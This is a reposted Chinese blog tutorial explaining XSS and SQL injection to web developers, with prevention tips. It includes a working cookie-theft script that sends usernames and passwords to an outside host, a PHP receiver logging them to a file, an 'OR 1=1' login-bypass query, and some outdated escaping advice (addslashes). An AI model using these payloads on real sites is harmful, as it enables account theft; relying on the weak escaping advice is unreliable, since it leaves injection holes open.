一文搞懂XSS攻击和SQL注入
Posted autofelix
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了一文搞懂XSS攻击和SQL注入相关的知识,希望对你有一定的参考价值。
〝 古人学问遗无力,少壮功夫老始成 〞
在做网站开发时候,我们经常会遇到各种各样的黑客攻击,其中最常见的就是XSS攻击和SQL注入了,如果一个网站没有做好这两种安全预防措施,造成的结果是很及其严重的。如果这篇文章能给你带来一点帮助,希望给飞兔小哥哥一键三连,表示支持,谢谢各位小伙伴们。
目录
一、 XSS攻击和SQL注入
- XSS攻击:跨站脚本攻击(Cross Site Script为了区别于CSS简称为XSS)指的是恶意攻击者往Web页面里插入恶意html代码,当用户浏览该页之时,嵌入其中Web里面的html代码会被执行,从而达到恶意用户的特殊目的
- SQL注入:(SQL Injection)就是通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令。简单来说就是用户恶意输入sql命令,导致最终数据库查询的结果并不是按照常理出现的结果
二、初级XSS攻击
- 比如在一般文章的详情页中有评论功能
- 如果用户在评论框中写的不是正常的评论语句,而是下面这样的语句
- 而网站并没有做任何检测和转义就存入数据库中的话
- 其他用户进来后,因为评论要显示,就会执行这个代码了
三、高级XSS攻击
- 当然,上面的仅仅只是恶趣味而已,也不会对网站和安全造成多大的隐患
- 只要开发人员删除这条评论再加上检测机制即可
- 但是真正想要进行XSS攻击的人是不会仅仅满足于这种恶趣味
- 他可能更加的想要获取用户的账号和密码等信息
- 用户一般登录后,他的基础信息可能会存在cookie中,这个时候就可以通过XSS攻击进行获取用户的cookie信息
- 用户使用hack.js发送了一个get请求,将用户的cookie发送到了指定后端服务器进行处理保存
- 这样黑客就能获取到你客户端上的cookie信息了并且使用你的账号进行登录了
/** hack.js 获取用户cookie信息并且发送get请求 **/
var uname=CookieHelper.getCookie('username').value;
var pwd=CookieHelper.getCookie('password').value;
var script =document.createElement('script');
script.src='http://autofelix.com/index.php?username='+uname+'&password='+pwd;
document.body.appendChild(script);
// index.php 保存用户的用户名和密码
<?php
if(!empty($_GET['password']))
{
$username = $_GET['username'];
$password = $_GET['password'];
try {
$path = __ROOT__ . '/password.txt';
$fp = fopen($path,'a');
flock($fp, LOCK_EX);
fwrite($fp, "$username\\t $password\\r\\n");
flock($fp, LOCK_UN);
fclose($fp);
} catch (Exception $e){}
}
四、XSS预防
- 当然上面只是阐述了一种简单的XSS攻击手段,还有很多隐蔽的手段
- 因此我们解决的办法就是不要信任用户的任何输入
- 对用户的输入内容进行特殊字符转义等操作即可,可以从根本上解决这个问题
- 比如PHP中常见解决XSS攻击的方法是,如果用户输入内容,可进行如下处理
<?php
//接收用户评论内容
$content = $_GET['content'];
//xss攻击解决
$content = trim($content);
$content = addslashes($content);
$content = htmlspecialchars($content);
//进行入库
五、SQL注入
- 比如用户账号密码登录的时候,需要用户输入账号和密码
- 然后程序进行数据库比对,比对成功才能够登录成功
- 可是有时候用户并不是正常的输入账号密码,而是输入sql语句进行瞒天过海,绕过系统的比对,也能够登录成功
- 比如下面,黑客并不知道autofelix账号的密码,但是他输入了一段语句
- 如果系统没有做检测,就可以绕过密码的比对,而直接登录autofelix的账号
//正常的比对账号密码的语句
select * from users where uname='autofelix' and password='xxxxx' limit 1;
//sql注入,因为加了or 1=1 导致密码无需去校验, 只要账号存在即可
select * from users where uname='autofelix' and password=1 OR 1=1 limit 1;
六、SQL注入解决
- 不仅仅是在用户登录的时候,SQL语句可以被注入,其他任何用户的数据只要参与执行,都有可能被注入
- SQL注入的危害非常之大,有时候甚至可以删除服务器上的整个数据库
- 所以SQL注入必须要被解决,解决方法如下:
- 在业务逻辑上预防,比如要求用户名只能由特定的字符组成(比如数字字母下划线)(使用正则表达式)
- 最常用的方式是使用PHP函数addslashes
- 使用mysql提供的数据转义函数:mysql_real_escape_string($data, $link);不过有一个前提是必须连接上数据库之后才可以使用!
- 使用预处理技术,因为预处理是强制将sql语句的结构和数据部分分开
<?php
//strip_tags(trim($data)是防止JS注入的
addslashes(strip_tags(trim($data)))
以上是关于一文搞懂XSS攻击和SQL注入的主要内容,如果未能解决你的问题,请参考以下文章
一文搞懂│XSS攻击SQL注入CSRF攻击DDOS攻击DNS劫持
一文搞懂│XSS攻击SQL注入CSRF攻击DDOS攻击DNS劫持
一文搞懂│XSS攻击SQL注入CSRF攻击DDOS攻击DNS劫持
一文搞懂│XSS攻击SQL注入CSRF攻击DDOS攻击DNS劫持